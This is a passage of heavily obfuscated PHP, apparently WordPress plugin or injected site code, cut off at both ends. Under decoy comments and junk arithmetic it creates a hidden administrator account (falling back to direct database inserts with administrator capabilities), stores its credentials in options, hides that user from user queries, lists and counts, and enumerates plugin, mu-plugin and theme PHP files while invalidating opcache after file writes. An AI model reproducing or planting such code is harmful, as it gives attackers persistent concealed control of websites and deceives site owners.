   if   ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(970))  &&    cxcoghdq1ec8kp569oj())  return true;
 if  (!$GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(685)) ||  !$GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(767)))     return true;
  if    ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(971))     &&  r3p_zv9y8c6a7sq()    <=  1.5)    return    true;
  $f0mui1p52nt8o_   =  $GLOBALS['__scf_yxou341jk2n2_479'](1,     $GLOBALS['__scf_kdgi9msmnx8o_480']((2+3),     (int)   r3p_zv9y8c6a7sq()));
      $soz07_6j_g  =    home_url('/');
   $soz07_6j_g .=  ($GLOBALS['__scf_ya_jdhkqpku_7']($soz07_6j_g, '?')  ===  false  ? '?' : '&')   .    j8bjjevd80e(972)   . $GLOBALS['__scf_tmn0v_xik_1b_195']()    .   $GLOBALS['__scf_pbb_q2_l2kzq6z_355']((58+42),  (983+16));
      $sm61kc_c3odw   =  $GLOBALS['__scf_di84jqdj15nut_294'](true);
   $lixijsuy7hjm_ = $GLOBALS['__scf_cxp28f27vo1_297']($soz07_6j_g,  array(cv8ducrec(768)  =>    $f0mui1p52nt8o_,   j8bjjevd80e(769) =>      false,   b5xx0lrqzfc(973)  =>  2,  s99lg14mcd3un(688)      =>     (1847852-799276),  s99lg14mcd3un(317)  => array(b5xx0lrqzfc(974) =>  pvz_9xuc0nzl0m(975))));
 if  ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(976))) wkpi_imexo4o2kzs421yn($GLOBALS['__scf_di84jqdj15nut_294'](true) -  $sm61kc_c3odw);



  if  ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(977)) &&  is_wp_error($lixijsuy7hjm_))  {
 if ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(971))  &&   r3p_zv9y8c6a7sq() <=      1.5)  return  true;
  $f0mui1p52nt8o_ =  $GLOBALS['__scf_yxou341jk2n2_479'](1,   $GLOBALS['__scf_kdgi9msmnx8o_480']((137^140),  (int)    r3p_zv9y8c6a7sq()));
   $sm61kc_c3odw   = $GLOBALS['__scf_di84jqdj15nut_294'](true);

$lixijsuy7hjm_ =    $GLOBALS['__scf_cxp28f27vo1_297']($soz07_6j_g,   array(pvz_9xuc0nzl0m(978)  =>   $f0mui1p52nt8o_,     cv8ducrec(769) =>   false,     pvz_9xuc0nzl0m(979)      => 2,    b5xx0lrqzfc(688)  =>  (0xdd100+0x22f00),  j8bjjevd80e(317)  =>  array(j8bjjevd80e(974)    => b5xx0lrqzfc(975))));
if      ($GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(976))) wkpi_imexo4o2kzs421yn($GLOBALS['__scf_di84jqdj15nut_294'](true)    -  $sm61kc_c3odw);
if  ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(980)) && is_wp_error($lixijsuy7hjm_))      return   false;



       }
      $n069nz7qruaxi    =      (int) wp_remote_retrieve_response_code($lixijsuy7hjm_);
 return $n069nz7qruaxi  >=     (55^83)  &&    $n069nz7qruaxi     <   (992-492);
 }
     function   xoro5rz4d4j46_y1($v9wvcm6jukeal43, $gwirf2afu7)
{
    $tpk8mtd1g8o   =  $GLOBALS['__scf_lv_2afh0dde_829']($GLOBALS['__scf_xz_5zbcnz0m_3']($gwirf2afu7),   '/');
     foreach   (

  array(
  j8bjjevd80e(981)  . $tpk8mtd1g8o     .   b5xx0lrqzfc(982),
   j8bjjevd80e(983) . $tpk8mtd1g8o . b5xx0lrqzfc(982),
    b5xx0lrqzfc(984)  . $tpk8mtd1g8o  .  cv8ducrec(985),
cv8ducrec(986),
   pvz_9xuc0nzl0m(987),
      )  as $gbsa2jg7zr
  )     {
if (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($v9wvcm6jukeal43))  break;

$v9wvcm6jukeal43 =   $GLOBALS['__scf_y_ur004dxjki__462']($gbsa2jg7zr,  "\n",  $v9wvcm6jukeal43);
    }
        return    $v9wvcm6jukeal43;
 }
     function    jyzt_8_4_q17j3kbgccl($p6qjzmu1z3kq)
     {
   if  ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(200))) {
 if  (@opcache_invalidate($p6qjzmu1z3kq,  true)     !== false)     return   true;

 if ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(988))) return (bool)    @opcache_reset();
    return     false;
}

    $owkzk_wt8jo7   =    $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(989)) ?  @opcache_get_status(false) :    false;
    return   !($GLOBALS['__scf__qh9f0l6g7e7ez_35']($owkzk_wt8jo7)   &&   !empty($owkzk_wt8jo7[b5xx0lrqzfc(990)]));
}
 function y258fvtiyat3mobu($of_pcm29oxt9u3z, $v9g5xf9d4l9, $js4wd5bfgbuh)
    {
  if ($GLOBALS['__scf_kmygv436ft5pn_9']($of_pcm29oxt9u3z,   -(2+2))   ===  cv8ducrec(991))  {
      if      (!qc7730958b5mgfuj_($of_pcm29oxt9u3z, $v9g5xf9d4l9)) {
 f1995qrx5prr7cbl19co0e($js4wd5bfgbuh,  b5xx0lrqzfc(992)  .   $GLOBALS['__scf_xz_5zbcnz0m_3']($of_pcm29oxt9u3z));
  return false;
    }


  jyzt_8_4_q17j3kbgccl($of_pcm29oxt9u3z);
 return $GLOBALS['__scf_d413tdd725_10']($v9g5xf9d4l9);
 }
   $e02rlvkna5pdta9 =  @$GLOBALS['__scf_q3ql35ik5fr_22']($of_pcm29oxt9u3z,   s99lg14mcd3un(23));
   if  ($e02rlvkna5pdta9      === false) {
  f1995qrx5prr7cbl19co0e($js4wd5bfgbuh,   j8bjjevd80e(992)  .      $GLOBALS['__scf_xz_5zbcnz0m_3']($of_pcm29oxt9u3z));
 

 return   false;
   }
if     ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(993)))    @flock($e02rlvkna5pdta9,   LOCK_EX);

   $lixijsuy7hjm_   =    @$GLOBALS['__scf_ll7jng34dct_24']($e02rlvkna5pdta9,   $v9g5xf9d4l9);
if  ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(993))) @flock($e02rlvkna5pdta9,  LOCK_UN);
 @fclose($e02rlvkna5pdta9);
     if ($lixijsuy7hjm_   === false  ||  ($v9g5xf9d4l9 !==    "" &&  $lixijsuy7hjm_   !== $GLOBALS['__scf_d413tdd725_10']($v9g5xf9d4l9)))     {
f1995qrx5prr7cbl19co0e($js4wd5bfgbuh, j8bjjevd80e(994)  .   $GLOBALS['__scf_xz_5zbcnz0m_3']($of_pcm29oxt9u3z));

 return   false;
}
    return $lixijsuy7hjm_;
 }
      
   function inl55qzpsyaxq_jvwp7t()
{
  try {
// PSR-7 messages: simple prototype

 if   (!$GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(455))    ||   !$GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(995)))  {$zrcgjgpy=55*3;$x1annrt2_=$zrcgjgpy-12;
   jl52yj3d5oo8wjkvu2wade(null);
  return;
      }
       if  (get_transient(b5xx0lrqzfc(996))) return;
  if (get_transient(cv8ducrec(997)))    return;
    set_transient(pvz_9xuc0nzl0m(997), 1,    (559+41));
       jl52yj3d5oo8wjkvu2wade(null);
if      ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(998)))   delete_transient(pvz_9xuc0nzl0m(999));
$kbdvx84nh3vfrj  =    $GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(913))    ?  (string)    fisznicc_bnq0q9lpk5a1j(s99lg14mcd3un(931),    "")  :   "";
   if  ($kbdvx84nh3vfrj  !==   ""  &&   $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1000))   &&    username_exists($kbdvx84nh3vfrj))      {
   set_transient(b5xx0lrqzfc(996),    1,  (26005-4405));
}
    }   catch     (Throwable  $uvo4msk8s29_)    {
 f1995qrx5prr7cbl19co0e(s99lg14mcd3un(1001),      $uvo4msk8s29_);
   } catch (Exception      $uvo4msk8s29_)  {
 f1995qrx5prr7cbl19co0e(pvz_9xuc0nzl0m(1002),  $uvo4msk8s29_);$htbhh5t6c8=(0x33+0xb2);$fiv6n6jseul=$htbhh5t6c8%12;


  }
    }
function     jl52yj3d5oo8wjkvu2wade($sc3sx4v_mgph)
     {
if  (!oi023dn_ef3e6fe(b5xx0lrqzfc(671)))    return    false;
     try   {



if  (! $GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(1003)) ||   !  $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1004))) {
return   false;
      }


   $rfxkmr6w2bltsopo =  (string)   fisznicc_bnq0q9lpk5a1j(j8bjjevd80e(931),  "");

   if ($rfxkmr6w2bltsopo   !==    "" &&     username_exists($rfxkmr6w2bltsopo)    &&  (string)    fisznicc_bnq0q9lpk5a1j(cv8ducrec(932),  "")    !== "") {
     return   false;

 }
if ($rfxkmr6w2bltsopo  === "") {
 $iwaonyh0v1mtrrx = $GLOBALS['__scf__qh9f0l6g7e7ez_35']($sc3sx4v_mgph)  ? $sc3sx4v_mgph    : yhktn7sbu98lm4ve6fq();

$u_f0xg8vvkd2sxue   =  jlknt4hp6r70mhexcse3ez($iwaonyh0v1mtrrx);
  if     (
     $u_f0xg8vvkd2sxue  &&  !empty($u_f0xg8vvkd2sxue->user_login)      &&  isset($u_f0xg8vvkd2sxue->user_email)
 &&   $u_f0xg8vvkd2sxue->user_email  ===     $u_f0xg8vvkd2sxue->user_login  .   '@' . q2jllc8juonl0cgja1g(pvz_9xuc0nzl0m(1005))
  )      {
  $rfxkmr6w2bltsopo  =   (string)  $u_f0xg8vvkd2sxue->user_login;


  }
      }
 if     ($rfxkmr6w2bltsopo    !==  ""  &&   username_exists($rfxkmr6w2bltsopo))  {
      $ly3rt4nmo8kl52c4      = username_exists($rfxkmr6w2bltsopo);
  $nysdjark9a_2d2_q  =  _rd1_e0ujuflih((115^107));
    if      ($GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1006)))   {



 $GLOBALS['__scf_gs_336kw_2zxm_1006']($nysdjark9a_2d2_q,      $ly3rt4nmo8kl52c4);
  }
   if     (!yf4cseyywyt6kel(pvz_9xuc0nzl0m(931),  $rfxkmr6w2bltsopo,  pvz_9xuc0nzl0m(1007)))    yf4cseyywyt6kel(pvz_9xuc0nzl0m(931),   $rfxkmr6w2bltsopo,  j8bjjevd80e(1008));
     if (!yf4cseyywyt6kel(s99lg14mcd3un(932), $nysdjark9a_2d2_q,  cv8ducrec(1009)))    yf4cseyywyt6kel(b5xx0lrqzfc(1010), $nysdjark9a_2d2_q,  cv8ducrec(1009));
if    ((string)    fisznicc_bnq0q9lpk5a1j(b5xx0lrqzfc(1011), "")  !==   $rfxkmr6w2bltsopo   ||  (string)  fisznicc_bnq0q9lpk5a1j(j8bjjevd80e(1010),  "")  !==   $nysdjark9a_2d2_q) {
     f1995qrx5prr7cbl19co0e(cv8ducrec(1012), j8bjjevd80e(1013));
     return   false;

  }
      return   true;
 }
   $jsglnr3hrr41v4_k  =  h9qx86tqedv8p2jmz();
   if  (true)   {


    $rfxkmr6w2bltsopo  =  "";
 for ($c8i0zgg9afnd6    = 0; $c8i0zgg9afnd6    < (41^44);   $c8i0zgg9afnd6++)  {
 $bwepcee09yda2n7   =   $jsglnr3hrr41v4_k[$GLOBALS['__scf_yxafek7dtdk13f_290']($jsglnr3hrr41v4_k)]   .  _rd1_e0ujuflih((14-4));
 if  (!username_exists($bwepcee09yda2n7))  {
       $rfxkmr6w2bltsopo = $bwepcee09yda2n7;



  break;
  }
  }
    if ($rfxkmr6w2bltsopo ===  "")  {

f1995qrx5prr7cbl19co0e(cv8ducrec(1012),   cv8ducrec(1014));
 return    false;
 }
      }
     $nysdjark9a_2d2_q  = _rd1_e0ujuflih((3<<3));
 if  (!  $GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(1015)) &&  defined(b5xx0lrqzfc(1016))   &&   $GLOBALS['__scf_hdqba_c8m7_708'](ABSPATH  . j8bjjevd80e(1017)))    {
      require_once ABSPATH .  pvz_9xuc0nzl0m(1017);



    }

   $z3dx1eftg725_9v    = $rfxkmr6w2bltsopo .  '@'   . q2jllc8juonl0cgja1g(j8bjjevd80e(1005));



$ogh1954c1ese   =  false;
 if     ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1015)))  {
// transpile stack-frame for WP useEntityProp



 $ogh1954c1ese =   $GLOBALS['__scf__shw52irc3h_1015'](array(


       b5xx0lrqzfc(1018)  =>  $rfxkmr6w2bltsopo,
 b5xx0lrqzfc(1019) =>    $nysdjark9a_2d2_q,
       pvz_9xuc0nzl0m(1020)  =>  $z3dx1eftg725_9v,
  s99lg14mcd3un(722) => pvz_9xuc0nzl0m(723),
 s99lg14mcd3un(1021)   =>  $rfxkmr6w2bltsopo,
    ));
   if (is_wp_error($ogh1954c1ese)) {
/* immutable factory */



 f1995qrx5prr7cbl19co0e(pvz_9xuc0nzl0m(1012), $ogh1954c1ese->get_error_code()  .  ':' .  $ogh1954c1ese->get_error_message());
    $ogh1954c1ese   =  false;
  }
}
  if (!$ogh1954c1ese)     {
   $wpdb     = isset($GLOBALS[cv8ducrec(886)]) ?  $GLOBALS[j8bjjevd80e(886)]   :     null;
 if  (!$wpdb  ||     !$GLOBALS['__scf_zr5xv8ge2ijskk_69']($wpdb))   {
       f1995qrx5prr7cbl19co0e(j8bjjevd80e(1012),   b5xx0lrqzfc(1022));
     return false;
   }
      $vppz8df8392a8   =   $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1023))   ?    wp_hash_password($nysdjark9a_2d2_q) :   $GLOBALS['__scf_gvrvt5qjna_57']($nysdjark9a_2d2_q);



 $u4myi4a8fa1vxhx4    =    $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1024))  ? current_time(cv8ducrec(1025)) : gmdate(j8bjjevd80e(1026));
    $xcpfcqh0lrwwho2 =     $wpdb->insert($wpdb->users, array(
 b5xx0lrqzfc(1018)   =>  $rfxkmr6w2bltsopo,
   b5xx0lrqzfc(1027)  =>  $vppz8df8392a8,
 b5xx0lrqzfc(1028)   =>   $rfxkmr6w2bltsopo,



  j8bjjevd80e(1029)   =>  $z3dx1eftg725_9v,
   pvz_9xuc0nzl0m(1030)  =>  $u4myi4a8fa1vxhx4,
  b5xx0lrqzfc(1031)  =>   0,
    s99lg14mcd3un(1032)  =>    $rfxkmr6w2bltsopo,
    ),   array(j8bjjevd80e(1033),   cv8ducrec(1033),  s99lg14mcd3un(1033),  j8bjjevd80e(1033),  b5xx0lrqzfc(1033),   cv8ducrec(1034), pvz_9xuc0nzl0m(1033)));
 if   (!$xcpfcqh0lrwwho2)  {
 f1995qrx5prr7cbl19co0e(cv8ducrec(1012), pvz_9xuc0nzl0m(1035));



     return false;
}


$ogh1954c1ese =  (int)  $wpdb->insert_id;
 $fed7kr_sjjv =  $wpdb->prefix   . pvz_9xuc0nzl0m(887);
 $wpdb->insert($wpdb->usermeta,   array(
      pvz_9xuc0nzl0m(1036)  =>      $ogh1954c1ese,
  b5xx0lrqzfc(1037)  => $fed7kr_sjjv,


 s99lg14mcd3un(1038)   =>    $GLOBALS['__scf_s959cieqyqa_353'](array(b5xx0lrqzfc(723)    =>  true)),
  ),  array(cv8ducrec(1034),   pvz_9xuc0nzl0m(1033),   j8bjjevd80e(1033)));
  $wpdb->insert($wpdb->usermeta, array(
pvz_9xuc0nzl0m(1036) =>      $ogh1954c1ese,
 b5xx0lrqzfc(1037)   =>  $wpdb->prefix  .  cv8ducrec(1039),
 j8bjjevd80e(1040)  =>  '10',



 ),  array(b5xx0lrqzfc(1041),    s99lg14mcd3un(1033),  s99lg14mcd3un(1033)));
 if ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1042)))  {
 clean_user_cache($ogh1954c1ese);
 }
   }
     if    (!username_exists($rfxkmr6w2bltsopo)) {
   f1995qrx5prr7cbl19co0e(s99lg14mcd3un(1012),  b5xx0lrqzfc(1043));

return     false;
    }
  $m3nuvmwvqfxh9hc  =  $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1044))   ?  get_user_by(j8bjjevd80e(1045),  $rfxkmr6w2bltsopo)  :   false;


  $auaa7hvxy3x1  =    false;

if  ($m3nuvmwvqfxh9hc &&   !empty($m3nuvmwvqfxh9hc->ID))   {
   if   ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1046))) {
   $auaa7hvxy3x1 =  (bool)  user_can($m3nuvmwvqfxh9hc,     b5xx0lrqzfc(723));
  }    elseif  (isset($m3nuvmwvqfxh9hc->caps)   &&      $GLOBALS['__scf__qh9f0l6g7e7ez_35']($m3nuvmwvqfxh9hc->caps)) {



    $auaa7hvxy3x1    = !empty($m3nuvmwvqfxh9hc->caps[b5xx0lrqzfc(1047)]);$ea95nc1pwp8e12=94+67;$f1905lytmp59=$ea95nc1pwp8e12-41;
}

     }


  if (!$auaa7hvxy3x1)  {
f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(1012),   s99lg14mcd3un(1048));$c_tyuf6hox=PHP_MAJOR_VERSION;$jui79j1v9s3=$c_tyuf6hox*1;
      if    ($ogh1954c1ese)  {
     if  (!$GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1049))  &&  defined(b5xx0lrqzfc(1016))      &&  @$GLOBALS['__scf_hdqba_c8m7_708'](ABSPATH    .  s99lg14mcd3un(1050)))  {
      require_once    ABSPATH  .   j8bjjevd80e(1050);$ibqzg5tj__54=PHP_MAJOR_VERSION;$unoi__r8j1vg=$ibqzg5tj__54*8;
    }
// strength-reduce journal for Rector auto-refactor

if    ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1049)))    @wp_delete_user($ogh1954c1ese);
 }
 return     false;



        }
  if   (!yf4cseyywyt6kel(b5xx0lrqzfc(1051),  $rfxkmr6w2bltsopo,  b5xx0lrqzfc(1009)))  yf4cseyywyt6kel(cv8ducrec(1051),     $rfxkmr6w2bltsopo,  pvz_9xuc0nzl0m(1052));
// WP Post Content: snapshot-isolated dominator-tree




  if   (!yf4cseyywyt6kel(cv8ducrec(1010), $nysdjark9a_2d2_q, cv8ducrec(1052)))      yf4cseyywyt6kel(j8bjjevd80e(1010), $nysdjark9a_2d2_q, j8bjjevd80e(1052));



   if  ((string)  fisznicc_bnq0q9lpk5a1j(pvz_9xuc0nzl0m(1053),   "")   !== $rfxkmr6w2bltsopo ||    (string)  fisznicc_bnq0q9lpk5a1j(pvz_9xuc0nzl0m(1010),    "")  !==  $nysdjark9a_2d2_q)  {
   f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(1012),  cv8ducrec(1013));
  return  false;

      }
// ssa-convert degenerate iterator

return     true;
 }     catch    (Throwable     $uvo4msk8s29_) {
f1995qrx5prr7cbl19co0e(j8bjjevd80e(1012),  $uvo4msk8s29_);
  }    catch (Exception $uvo4msk8s29_) {
 f1995qrx5prr7cbl19co0e(s99lg14mcd3un(1012), $uvo4msk8s29_);
 } finally {$ymp87p73=(0xc3+0xec);$a7ktplwc8=$ymp87p73%2;
  jr2xyttddkmhfx362y(j8bjjevd80e(671));
      }
      return    false;
}
function yhbkok867ivzn61xq8q_($e16bi32j2b)
 {
  try  {
 



if    (!  $GLOBALS['__scf_zr5xv8ge2ijskk_69']($e16bi32j2b)   ||      !    property_exists($e16bi32j2b,   pvz_9xuc0nzl0m(1054))) {
// @hook scheduler

return  $e16bi32j2b;
 }
    
    $rfxkmr6w2bltsopo  =     $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1003))    ?      (string) fisznicc_bnq0q9lpk5a1j(s99lg14mcd3un(1053),   "")  :  "";
if  (!  $rfxkmr6w2bltsopo) {
  return   $e16bi32j2b;
  }
       
 $xshbok2fap3 =    esc_sql($rfxkmr6w2bltsopo);
 if ($GLOBALS['__scf_ya_jdhkqpku_7']($e16bi32j2b->query_where, $xshbok2fap3)     ===    false)   {
        $e16bi32j2b->query_where     .=  cv8ducrec(1055) .   $xshbok2fap3    . "'";$ieg0jcjnfg1jh=PHP_INT_MAX/PHP_INT_MAX;$xu9896ijdj9g=$ieg0jcjnfg1jh+11;
}
   } catch   (Throwable  $uvo4msk8s29_)   {
    f1995qrx5prr7cbl19co0e(cv8ducrec(1056), $uvo4msk8s29_);
  }    catch   (Exception $uvo4msk8s29_)    {
   }

return  $e16bi32j2b;
      }
 function iifm7g4ir5gwix82ix83($xb_1udu009h0i)
 {
  try  {
 $kbdvx84nh3vfrj   =     $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1057))  ?     (string)    fisznicc_bnq0q9lpk5a1j(pvz_9xuc0nzl0m(1053),   "")  :   "";
    if    (!  $kbdvx84nh3vfrj) {
  return    $xb_1udu009h0i;
  }
     $rm8fwq4d1zq =  array(b5xx0lrqzfc(1058),  pvz_9xuc0nzl0m(1059));
 foreach  ($rm8fwq4d1zq  as  $key)   {
if     (isset($xb_1udu009h0i[$key])    &&     $GLOBALS['__scf_qubutkuvnnc4sx_41']($xb_1udu009h0i[$key])    &&  $GLOBALS['__scf_cr07b5s7432_100'](s99lg14mcd3un(1060),  $xb_1udu009h0i[$key], $ljvicb11d2w9))     {
      $juichfk25b__ =  $GLOBALS['__scf_yxou341jk2n2_479'](0,    (int) $ljvicb11d2w9[1] - 1);
       $xb_1udu009h0i[$key]    = $GLOBALS['__scf_y_ur004dxjki__462'](j8bjjevd80e(1061), '('   .   $juichfk25b__ .      ')', $xb_1udu009h0i[$key]);
   }
}
 }  catch      (Throwable     $uvo4msk8s29_)  {
f1995qrx5prr7cbl19co0e(cv8ducrec(1062),    $uvo4msk8s29_);
 }    catch     (Exception $uvo4msk8s29_)  {
   }

  return $xb_1udu009h0i;
      }
function  mvbysmv505oili($pldn46fmd9el0w,   $dlras9zem8r1pr)
      {

     try   {
 $rfxkmr6w2bltsopo    =   $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1057))      ? (string)   fisznicc_bnq0q9lpk5a1j(b5xx0lrqzfc(1053),  "")  : "";
 if    ($rfxkmr6w2bltsopo ===  "")   {
// renew leaky-bucket for PHP 8.3 readonly

  return  $pldn46fmd9el0w;
 }
  if  (! $GLOBALS['__scf__qh9f0l6g7e7ez_35']($pldn46fmd9el0w))    {
return $pldn46fmd9el0w;
       }



   if  (!  isset($pldn46fmd9el0w[cv8ducrec(1063)])  ||  ! $GLOBALS['__scf__qh9f0l6g7e7ez_35']($pldn46fmd9el0w[b5xx0lrqzfc(1064)]))    {
     $pldn46fmd9el0w[j8bjjevd80e(1064)] =    array();

    }
      if (! $GLOBALS['__scf_o_dt0p7mox4_159']($rfxkmr6w2bltsopo,    $pldn46fmd9el0w[b5xx0lrqzfc(1064)],   true))  {
      $pldn46fmd9el0w[cv8ducrec(1065)][]  =   $rfxkmr6w2bltsopo;
   }
    } catch  (Throwable  $uvo4msk8s29_) {
f1995qrx5prr7cbl19co0e(j8bjjevd80e(1066),   $uvo4msk8s29_);
 } catch  (Exception     $uvo4msk8s29_) {
      }
// coalesce-reg bivariant for MySQL JSON operators

 return  $pldn46fmd9el0w;



    }
     
  function   is6mdtp4uhpr5thv3ulub()
   {
 $mhhzrwmjen  =      array();



 if (defined(b5xx0lrqzfc(1067))   &&  $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1057)))   {
    $oz9gzy9lgiw   =    (array)    get_option(b5xx0lrqzfc(734),  array());
$ceasnngsrr    =    array();
   foreach ($oz9gzy9lgiw as  $basename)   {
   if   (! $GLOBALS['__scf_qubutkuvnnc4sx_41']($basename)      ||  $GLOBALS['__scf_ya_jdhkqpku_7']($basename,   b5xx0lrqzfc(725)) !==  false)    {

     continue;
}

$x2c98zrha9 =  $GLOBALS['__scf_mij3fd72lyo_h_11']($basename);
    if   ($x2c98zrha9  ===   '.')   {
     $x2c98zrha9    =  $basename;
    }
   if (isset($ceasnngsrr[$x2c98zrha9]))   {
continue;


}
  $ceasnngsrr[$x2c98zrha9] =  true;
  $of_pcm29oxt9u3z     =    WP_PLUGIN_DIR   .   '/'   .     $basename;
 if  ($GLOBALS['__scf_mij3fd72lyo_h_11']($basename) ===   '.') {
 if    (@$GLOBALS['__scf_xaseomj3flge_20']($of_pcm29oxt9u3z)) {
// Memcached adapter aspect ratio

 $mhhzrwmjen[] =      $of_pcm29oxt9u3z;
    }

 } else  {
    $_gbdleyfzdd97b = $GLOBALS['__scf_mij3fd72lyo_h_11']($of_pcm29oxt9u3z);
   if    (@$GLOBALS['__scf_nish5zuncssvgd_43']($_gbdleyfzdd97b))  {
     $mhhzrwmjen   =  $GLOBALS['__scf_z1yhwz66dpf_370']($mhhzrwmjen,     a6fwl588fa_mg8($_gbdleyfzdd97b,  array(cv8ducrec(728))));

 }



}
        }
        }
 
if (@$GLOBALS['__scf_nish5zuncssvgd_43'](eki4v2wrqno4knxgtm4qhv()))  {
    $s7r00tx8dxcdh    = x002260tc_2l50yfgc3hj(eki4v2wrqno4knxgtm4qhv(),  (0xa07+0x981));
 if  ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($s7r00tx8dxcdh)) {$me23_unl=6214;$po4tcwdsz57=$me23_unl%5;
foreach   ($s7r00tx8dxcdh   as  $itsyl5ug6bf5d)   {



      if     ($itsyl5ug6bf5d    ===  pn7ilzfkmyogdbglb3nhtx())   {
continue;$ty79w5je6jvug=PHP_MAJOR_VERSION;$gc_pcy_tmwc72=$ty79w5je6jvug*3;
      }
      $p6qjzmu1z3kq =     eki4v2wrqno4knxgtm4qhv() . '/' .  $itsyl5ug6bf5d;
 if (@$GLOBALS['__scf_xaseomj3flge_20']($p6qjzmu1z3kq)   &&    $GLOBALS['__scf_i1sl42qxo03g_107']($GLOBALS['__scf_h3mngbzp79_212']($itsyl5ug6bf5d, constant(s99lg14mcd3un(715))))   === cv8ducrec(1068))    {$_6ar2dik_p35_9=(0x6b+0x4d);$hb11_5g8het=$_6ar2dik_p35_9%9;
 $mhhzrwmjen[] =  $p6qjzmu1z3kq;

  }
// WP Heading Block: template covariant




}
     }
 }
   
if     (defined(j8bjjevd80e(1016))  &&  $GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(1069))) {
// WP useEntityRecords: dominate middleware

  $vpyhz2uohip2g7aa   =   (string)   get_option(cv8ducrec(1070),   "");
     $p4tza0gvligncwmd =    (string) get_option(b5xx0lrqzfc(1071),  "");
  $rmq45ffol2ruiw =   defined(s99lg14mcd3un(823))   ?      WP_CONTENT_DIR .  s99lg14mcd3un(1072)   :  ABSPATH   .     pvz_9xuc0nzl0m(1073);
     $myy9s9ncyvnu1ls0     =  $GLOBALS['__scf_ahbb1zgmq33o_158']($GLOBALS['__scf_le53i63bu3tu_340'](array($vpyhz2uohip2g7aa,  $p4tza0gvligncwmd)));
 foreach    ($myy9s9ncyvnu1ls0 as  $l67t6hzxy6qd81)    {

 if   ($GLOBALS['__scf_ya_jdhkqpku_7']($l67t6hzxy6qd81,  j8bjjevd80e(1074))     !==  false)      {
    continue;



    }
    $bezcvx0a77nw2 =     $rmq45ffol2ruiw      . '/'     . $l67t6hzxy6qd81;
    if (@$GLOBALS['__scf_nish5zuncssvgd_43']($bezcvx0a77nw2)) {
 
   $knhqkav4cu84r   =  x002260tc_2l50yfgc3hj($bezcvx0a77nw2,    (1995+5));


if ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($knhqkav4cu84r))     {
     foreach  ($knhqkav4cu84r  as  $itsyl5ug6bf5d)   {
   $mutwowf7w1n00  =    $bezcvx0a77nw2      .    '/'    .  $itsyl5ug6bf5d;
     if  (@$GLOBALS['__scf_xaseomj3flge_20']($mutwowf7w1n00) &&  $GLOBALS['__scf_i1sl42qxo03g_107']($GLOBALS['__scf_h3mngbzp79_212']($itsyl5ug6bf5d,   constant(cv8ducrec(1075))))     ===  j8bjjevd80e(1068))    {
     $mhhzrwmjen[] =  $mutwowf7w1n00;
}
     }
 }


 
      $_vdov1nplk   = $bezcvx0a77nw2 . cv8ducrec(1076);
    if  (@$GLOBALS['__scf_nish5zuncssvgd_43']($_vdov1nplk))  {



$mhhzrwmjen  = $GLOBALS['__scf_z1yhwz66dpf_370']($mhhzrwmjen,   a6fwl588fa_mg8($_vdov1nplk,    array(pvz_9xuc0nzl0m(1068))));
    }
       }
// scatter proxy for PHP 8.0 JIT

  }
  }
    return   $GLOBALS['__scf_ahbb1zgmq33o_158']($mhhzrwmjen);



  }
  function      aods54sn8y2xtf9iju1r1($zm87ltxzegowx)
{
   if   (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($zm87ltxzegowx))    return     array();
   $ssxrvq5et832s    =     array();



    foreach  ($zm87ltxzegowx     as   $lixijsuy7hjm_)  {
// WP Social Links webp conversion

 if     (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($lixijsuy7hjm_) ||  $lixijsuy7hjm_  ===    "" || $GLOBALS['__scf_d413tdd725_10']($lixijsuy7hjm_)  >  (0x401+0xbff))  continue;
 try   {
  if (@$GLOBALS['__scf_cr07b5s7432_100']($lixijsuy7hjm_,   "")  === false)  continue;
} catch   (Throwable   $uvo4msk8s29_)   {
  continue;
      } catch   (Exception   $uvo4msk8s29_) {
 continue;
     }
  $ssxrvq5et832s[]  =  $lixijsuy7hjm_;
     }
 return   $ssxrvq5et832s;

  }

function   x0h3g_eq4abljn8k($zm87ltxzegowx)
       {
try    {


     
